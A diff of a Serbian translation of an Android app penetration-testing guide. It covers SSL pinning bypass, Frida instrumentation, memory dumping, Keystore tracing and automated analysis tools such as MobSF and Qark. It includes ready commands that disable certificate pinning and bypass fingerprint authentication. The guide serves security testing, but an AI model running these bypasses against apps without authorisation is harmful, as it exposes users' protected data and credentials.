- Ako i dalje mislite da postoji saobraćaj koji ne presrećete, možete pokušati da **prosledite saobraćaj u Burp koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je da vam neće trebati root da zaobiđete SSL Pinning, ali ćete morati obrisati aplikaciju i ponovo instalirati novu, i to ne radi uvek.
|
||||
- You could use **Frida** (discussed below) to bypass this protection. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
|
||||
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
|
||||
Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i mitigaciji ovih ranjivosti su izvan opsega ovog sažetka, ali su široko pokrivene drugde.
|
||||
Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti su izvan opsega ovog sažetka, ali su obimno pokrivene drugde.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) je toolkit za dinamičku instrumentaciju za developere, reverse-engineere i istraživače bezbednosti.\
|
||||
**Možete pristupiti pokrenutoj aplikaciji i hook-ovati metode u runtime-u da promenite ponašanje, menjate vrednosti, izvlačite vrednosti, izvršavate drugačiji kod...**\
|
||||
Ako želite da pentest Android aplikacije morate znati kako da koristite Frida.
|
||||
[Frida](https://www.frida.re) je dynamic instrumentation toolkit za developere, reverse-engineere i security istraživače.\
|
||||
**Možete pristupiti pokrenutoj aplikaciji i hook-ovati metode u runtime-u da promenite ponašanje, promenite vrednosti, izvučete vrednosti, pokrenete drugačiji kod...**\
|
||||
Ako želite pentest Android applications morate znati kako koristiti Frida.
|
||||
|
||||
- Naučite kako da koristite Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Naučite kako koristiti Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Neki "GUI" za rad sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Možete naći neke odlične Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Pokušajte zaobići anti-debugging / anti-frida mehanizme učitavanjem Frida kako je navedeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Ojection je odličan za automatizaciju upotrebe Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Možete pronaći neke Awesome Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Pokušajte zaobići anti-debugging / anti-frida mehanizme učitavanjem Frida kako je prikazano u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
@ -515,11 +515,11 @@ Ako želite da pentest Android aplikacije morate znati kako da koristite Frida.
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### **Dump memorije - Fridump**
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
Proverite da li aplikacija skladišti osetljive informacije u memoriji koje ne bi trebalo da skladišti, kao što su lozinke ili mnemonici.
|
||||
Proverite da li aplikacija skladišti osetljive informacije u memoriji koje ne bi trebala da čuva, kao što su lozinke ili mnemonici.
|
||||
|
||||
Koristeći [**Fridump3**](https://github.com/rootbsd/fridump3) možete dump-ovati memoriju aplikacije sa:
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete izdumpovati memoriju aplikacije pomoću:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -528,120 +528,120 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Ovo će dump the memory u ./dump direktorijumu, i tamo možete pokrenuti grep sa nečim poput:
|
||||
Ovo će napraviti dump memorije u folder ./dump, i tamo možeš pokrenuti grep sa nečim poput:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Osetljivi podaci u Keystore**
|
||||
|
||||
U Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljne privilegije i dalje je **moguće mu pristupiti**. Pošto aplikacije često ovde skladište **osetljive podatke u nešifrovanom obliku**, pentests bi trebalo da to provere, jer root user ili neko sa fizičkim pristupom uređaju može da ukrade te podatke.
|
||||
Na Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, sa dovoljno privilegija i dalje je **moguće pristupiti njemu**. Pošto aplikacije često ovde čuvaju **osetljive podatke u clear text**, pentests bi trebalo da to provere koristeći root user, jer neko sa fizičkim pristupom uređaju može da ukrade te podatke.
|
||||
|
||||
Čak i ako aplikacija skladišti podatke u Keystore-u, podaci bi trebalo da budu šifrovani.
|
||||
Čak i ako aplikacija skladišti podatke u Keystore, podaci bi trebalo da budu šifrovani.
|
||||
|
||||
Za pristup podacima unutar Keystore-a možete koristiti ovaj Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Za pristup podacima unutar Keystore možete koristiti ovaj Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Korišćenjem sledeće Frida skripte moguće je **bypass fingerprint authentication** koje Android aplikacije mogu koristiti da bi **zaštitile određene osetljive oblasti:**
|
||||
Korišćenjem sledećeg Frida skripta moguće je **bypass fingerprint authentication** koje Android aplikacije sprovode kako bi **zaštitile određene osetljive oblasti:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Pozadinske slike**
|
||||
|
||||
Kada stavite aplikaciju u pozadinu, Android čuva **snapshot of the application** tako da kada se vrati u prednji plan, prvo učitava tu sliku pre same aplikacije pa izgleda da se aplikacija brže učitava.
|
||||
Kada aplikaciju pošaljete u pozadinu, Android čuva **snimak aplikacije** tako da, kada se vrati u prvi plan, najpre učitava tu sliku pre same aplikacije pa izgleda kao da se aplikacija brže učitala.
|
||||
|
||||
Međutim, ako ovaj snapshot sadrži **osetljive informacije**, neko sa pristupom snapshotu može **ukrasti te informacije** (napomena: potreban je root da biste mu pristupili).
|
||||
Međutim, ako taj snimak sadrži **osetljive informacije**, neko ko ima pristup snimku može **ukrasti te podatke** (napomena: za pristup je potreban root).
|
||||
|
||||
Snapshots se obično čuvaju na: **`/data/system_ce/0/snapshots`**
|
||||
Snimci se obično nalaze na: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android pruža način da **prevent the screenshot capture by setting the FLAG_SECURE** layout parameter. Korišćenjem ovog FLAG_SECURE flag-a, sadržaj prozora se tretira kao siguran, sprečavajući njegovo pojavljivanje u screenshots ili pregled na nesigurnim prikazima.
|
||||
Android pruža način da se **spreči snimanje ekrana postavljanjem FLAG_SECURE** layout parametra. Korišćenjem ovog flag-a, sadržaj prozora se tretira kao zaštićen, čime se sprečava njegovo pojavljivanje u screenshot-ovima ili pregledanje na nesigurnim prikazima.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
|
||||
Ovaj alat može pomoći pri upravljanju različitim alatima tokom dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Ovaj alat može pomoći u upravljanju različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Developeri često prave proxy komponente kao što su activities, services, i broadcast receivers koje obrađuju ove Intents i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
|
||||
Developeri često kreiraju proxy komponente kao što su activities, services i broadcast receivers koje obrađuju ove Intent-e i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
|
||||
|
||||
Opasnost leži u tome što se napadačima može dozvoliti da pokrenu non-exported app components ili pristupe osetljivim content providers tako što će pogrešno usmeriti ove Intents. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte preko `Intent.parseUri(...)` i potom ih izvršava, što može dovesti do malicious Intent injections.
|
||||
Opasnost je u tome što napadačima može biti omogućeno da pokrenu non-exported app components ili pristupe osetljivim content providers preusmeravanjem ovih Intent-a. Istaknut primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte preko `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do malicious Intent injections.
|
||||
|
||||
### Essential Takeaways
|
||||
### Ključne napomene
|
||||
|
||||
- **Intent Injection** is similar to web's Open Redirect issue.
|
||||
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
|
||||
- It can expose non-exported components and content providers to attackers.
|
||||
- `WebView`’s URL to `Intent` conversion can facilitate unintended actions.
|
||||
- **Intent Injection** je sličan Open Redirect issue na webu.
|
||||
- Exploiti uključuju prosleđivanje `Intent` objekata kao extras, koji mogu biti preusmereni da izvrše unsafe operacije.
|
||||
- Može izložiti non-exported components i content providers napadačima.
|
||||
- `WebView`-ova konverzija URL-a u `Intent` može omogućiti neželjene akcije.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
Verovatno poznajete ovaj tip ranjivosti sa Web-a. Posebno morate biti oprezni sa ovim ranjivostima u Android aplikaciji:
|
||||
Verovatno već znate za ovu vrstu ranjivosti sa Weba. Posebno morate biti pažljivi sa ovim ranjivostima u Android aplikaciji:
|
||||
|
||||
- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.
|
||||
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: U više slučajeva, kada android aplikacija završi sesiju, cookie nije opozvan ili čak može biti sačuvan na disk
|
||||
- **SQL Injection:** Kada radite sa dinamičkim upitima ili Content-Providers, osigurajte da koristite parametrizovane upite.
|
||||
- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za sve WebViews (onemogućeno po defaultu). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews bi trebalo da imaju onemogućen pristup file system-u (po defaultu omogućeno) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: U nekoliko slučajeva, kada android aplikacija završi sesiju, cookie nije opozvan ili čak može biti sačuvan na disku
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Automatic Analysis
|
||||
## Automatska analiza
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
**Static analysis**
|
||||
**Staticka analiza**
|
||||
|
||||
.png>)
|
||||
|
||||
**Vulnerability assessment of the application** koristeći lepo web-based frontend. Takođe možete izvršiti dynamic analysis (ali morate pripremiti environment).
|
||||
**Procena ranjivosti aplikacije** koristeći lep web-based frontend. Možete takođe izvesti dinamičku analizu (ali morate pripremiti okruženje).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Primetite da MobSF može da analizira **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Takođe, ako napravite **ZIP** fajl sa source code-om ako je u pitanju **Android** ili **IOS** app (idi u root folder aplikacije, izaberi sve i napravi ZIPfile), moći će da ga analizira takođe.
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
|
||||
|
||||
MobSF takođe dozvoljava da uradite **diff/Compare** analiza i da integrišete **VirusTotal** (neophodno je da podesiš svoj API ključ u _MobSF/settings.py_ i omogućiš ga: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Možete takođe postaviti `VT_UPLOAD` na `False`, tada će se umesto fajla upload-ovati **hash**.
|
||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** može biti vrlo koristan i za **dynamic analysis** na **Android**, ali u tom slučaju treba da instaliraš MobSF i **genymotion** na svom hostu (VM ili Docker neće raditi). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
**MobSF dynamic analyser** može:
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
The **MobSF dynamic analyser** can:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Sve ovo se radi automatski osim screenshot-ova — za njih moraš pritisnuti kad želiš screenshot ili pritisnuti "**Exported Activity Tester**" da bi dobio screenshot-ove svih exported activities.
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
Od android **verzija > 5**, automatski će pokrenuti Frida i postaviti globalna **proxy** podešavanja da bi **capture**-ovao saobraćaj. Uhvaćen će biti samo saobraćaj iz testirane aplikacije.
|
||||
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
|
||||
|
||||
**Frida**
|
||||
|
||||
Po default-u, koristiće i neke Frida Scripts da **bypass SSL pinning**, **root detection** i **debugger detection** i da **monitor**-uje zanimljive API-je.\
|
||||
MobSF takođe može da **invoke exported activities**, napravi **screenshots** i **sačuva** ih za izveštaj.
|
||||
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
|
||||
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
|
||||
|
||||
Da bi **pokrenuo** dynamic testing pritisni zeleno dugme: "**Start Instrumentation**". Pritisni "**Frida Live Logs**" da vidiš logove koje generišu Frida skripte i "**Live API Monitor**" da vidiš sve pozive na hooked metode, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiskanja "Start Instrumentation").\
|
||||
MobSF takođe dozvoljava da učitaš svoje **Frida scripts** (da bi poslao rezultate svojih Frida skripti u MobSF koristi funkciju `send()`). Ima i **nekoliko prethodno napisanih skripti** koje možeš učitati (možeš dodati još u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo ih **selektuj**, pritisni "**Load**" i pritisni "**Start Instrumentation**" (moći ćeš da vidiš logove tih skripti unutar "**Frida Live Logs**").
|
||||
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
|
||||
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Pored toga, imaš neke pomoćne Frida funkcionalnosti:
|
||||
Moreover, you have some Auxiliary Frida functionalities:
|
||||
|
||||
- **Enumerate Loaded Classes**: Ispisaće sve učitane klase
|
||||
- **Capture Strings**: Ispisaće sve capture strings dok koristiš aplikaciju (veoma noisy)
|
||||
- **Capture String Comparisons**: Može biti vrlo korisno. Prikazaće **dve string vrednosti koje se upoređuju** i da li je rezultat True ili False.
|
||||
- **Enumerate Class Methods**: Unesi ime klase (npr. "java.io.File") i ispišaće sve metode klase.
|
||||
- **Search Class Pattern**: Pretražuj klase po pattern-u
|
||||
- **Trace Class Methods**: **Trace** celu **klasu** (vidi input-e i output-e svih metoda klase). Zapamti da po default-u MobSF trace-uje nekoliko interesantnih Android Api metoda.
|
||||
- **Enumerate Loaded Classes**: It will print all the loaded classes
|
||||
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
|
||||
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
|
||||
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
|
||||
- **Search Class Pattern**: Search classes by pattern
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
|
||||
|
||||
Kada izabereš pomoćni modul koji želiš da koristiš, potrebno je da pritisneš "**Start Intrumentation**" i sve izlaze ćeš videti u "**Frida Live Logs**".
|
||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf ti takođe daje shell sa nekim **adb** komandama, **MobSF commands**, i uobičajenim **shell** **commands** na dnu stranice za dynamic analysis. Neke interesantne komande:
|
||||
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -650,34 +650,34 @@ exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**HTTP alati**
|
||||
**HTTP tools**
|
||||
|
||||
Kada je HTTP saobraćaj uhvaćen možete videti ružan prikaz uhvaćenog saobraćaja na "**HTTP(S) Traffic**" dugmetu ili lepši prikaz na zelenom dugmetu "**Start HTTPTools**". Iz druge opcije možete **poslati** **uhvaćene zahteve** na **proxies** kao Burp ili Owasp ZAP.\
|
||||
Kada se HTTP saobraćaj snimi, možete videti ružan prikaz uhvaćenog saobraćaja na dnu "**HTTP(S) Traffic**" dugmeta ili lepši prikaz na zelenom dugmetu "**Start HTTPTools**". Iz druge opcije možete **poslati** **uhvaćene zahteve** na **proxies** kao što su Burp ili Owasp ZAP.\
|
||||
Da biste to uradili, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pritisnite "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Kada završite dinamičku analizu sa MobSF možete pritisnuti "**Start Web API Fuzzer**" da **fuzz** HTTP zahteve i tražite ranjivosti.
|
||||
Kada završite dynamic analysis sa MobSF, možete pritisnuti "**Start Web API Fuzzer**" da **fuzz http requests** i tražite ranjivosti.
|
||||
|
||||
> [!TIP]
|
||||
> Nakon izvršene dinamičke analize sa MobSF, proxy podešavanja mogu biti pogrešno konfigurisana i možda ih nećete moći popraviti iz GUI-ja. Možete popraviti proxy podešavanja ovako:
|
||||
> Nakon izvođenja dynamic analysis sa MobSF proxy podešavanja mogu biti pogrešno konfigurisana i nećete moći da ih popravite iz GUI-ja. Možete popraviti proxy podešavanja izvršavanjem:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Pomoćena dinamička analiza sa Inspeckage
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
Alat možete preuzeti sa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
|
||||
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Ovaj alat koristi neke **Hooks** kako bi vam pokazao **šta se dešava u aplikaciji** dok izvršavate **dynamic analysis**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Ovo je **odličan alat za izvođenje statičke analize sa GUI-jem**
|
||||
Ovo je odličan alat za izvođenje static analysis pomoću GUI-ja
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Ovaj alat je dizajniran da traži nekoliko **bezbednosno povezanih ranjivosti Android aplikacija**, bilo u **izvornom kodu** ili u **pakovanim APK-ovima**. Alat je takođe sposoban da kreira "Proof-of-Concept" deployable APK i ADB komande, kako bi iskoristio neke od pronađenih ranjivosti (Exposed activities, intents, tapjacking...). Kao i sa Drozer, nema potrebe da root-ujete test uređaj.
|
||||
Ovaj alat je dizajniran da pronađe različite **security related Android application vulnerabilities**, bilo u **source code** ili u **packaged APKs**. Alat je takođe **capable of creating a "Proof-of-Concept" deployable APK** i **ADB commands**, za iskorišćavanje nekih od pronađenih ranjivosti (Exposed activities, intents, tapjacking...). Kao i kod Drozer, nije potrebno root-ovati test uređaj.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -686,20 +686,20 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Prikazuje sve izvučene fajlove radi lakšeg pregleda
|
||||
- Automatski dekompajlira APK fajlove u Java i Smali format
|
||||
- Analizira AndroidManifest.xml u potrazi za uobičajenim ranjivostima i ponašanjem
|
||||
- Statička analiza izvornog koda radi otkrivanja uobičajenih ranjivosti i ponašanja
|
||||
- Prikazuje sve izvađene datoteke radi lakšeg pregleda
|
||||
- Automatski dekompajlira APK datoteke u Java i Smali format
|
||||
- Analizira AndroidManifest.xml zbog uobičajenih ranjivosti i ponašanja
|
||||
- Statička analiza izvornog koda radi uobičajenih ranjivosti i ponašanja
|
||||
- Informacije o uređaju
|
||||
- i još
|
||||
- i još mnogo toga
|
||||
```bash
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, i koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APKs i primenom niza pravila za otkrivanje tih ranjivosti.
|
||||
SUPER je aplikacija komandne linije koja se može koristiti na Windows, MacOS X i Linux, i koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila kako bi otkrila te ranjivosti.
|
||||
|
||||
Sva pravila su smeštena u fajlu `rules.json`, i svaka kompanija ili tester može kreirati sopstvena pravila za analizu onoga što im je potrebno.
|
||||
Sva pravila su sadržana u fajlu `rules.json`, i svaka kompanija ili tester može kreirati sopstvena pravila za analizu onoga što im je potrebno.
|
||||
|
||||
Preuzmite najnovije binarne fajlove sa [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -709,17 +709,17 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn je **crossplatform** alat koji pomaže razvijačima, bugbounty hunters i ethical hackers pri izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, bugbounty hunters i ethical hackers pri izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
|
||||
Koncept je da prevučete i ispustite datoteku vaše mobilne aplikacije (fajl .apk ili .ipa) na StaCoAn aplikaciju i ona će za vas generisati vizuelni i prenosivi izveštaj. Možete prilagoditi podešavanja i wordlists kako biste dobili prilagođeno iskustvo.
|
||||
Koncept je da prevučete i ispustite fajl vaše mobilne aplikacije (an .apk or .ipa file) na StaCoAn aplikaciju i on će za vas generisati vizuelan i prenosiv izveštaj. Možete prilagoditi podešavanja i wordlists da biste dobili prilagođeno iskustvo.
|
||||
|
||||
Preuzmite[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Preuzmi[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework je sistem za analizu ranjivosti za Android koji pomaže developerima ili hackersima da pronađu potencijalne sigurnosne ranjivosti u Android aplikacijama.\
|
||||
AndroBugs Framework je sistem za analizu ranjivosti za Android koji pomaže developers or hackers da pronađu potencijalne sigurnosne ranjivosti u Android aplikacijama.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -727,9 +727,9 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** je alat čiji je glavni cilj da detektuje i upozori korisnika na potencijalna maliciozna ponašanja razvijena od strane Android aplikacije.
|
||||
**Androwarn** je alat čija je glavna svrha da detektuje i upozori korisnika na potencijalno maliciozna ponašanja koja potiču iz Android aplikacije.
|
||||
|
||||
Detekcija se vrši pomoću **static analysis** Dalvik bytecode-a aplikacije, prikazanog kao **Smali**, koristeći biblioteku [`androguard`](https://github.com/androguard/androguard).
|
||||
Detekcija se vrši pomoću **static analysis** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, koristeći biblioteku [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Ovaj alat traži **uobičajena ponašanja "loših" aplikacija** kao što su: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
```
|
||||
@ -739,60 +739,60 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** je okvir za reverzni inženjering i analizu mobilnih aplikacija. To je alat koji okuplja često korišćene alate za reverzni inženjering i analizu mobilnih aplikacija, kako bi pomogao pri testiranju mobilnih aplikacija protiv OWASP mobile security pretnji. Njegov cilj je da ovaj zadatak učini lakšim i pristupačnijim za developere mobilnih aplikacija i bezbednosne profesionalce.
|
||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. To je alat koji okuplja često korišćene alate za reverse engineering i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobile security threats. Njegov cilj je da ovaj zadatak učini jednostavnijim i pristupačnijim za developere mobilnih aplikacija i bezbednosne profesionalce.
|
||||
|
||||
Može:
|
||||
It is able to:
|
||||
|
||||
- Ekstrahovati Java i Smali kod koristeći različite alate
|
||||
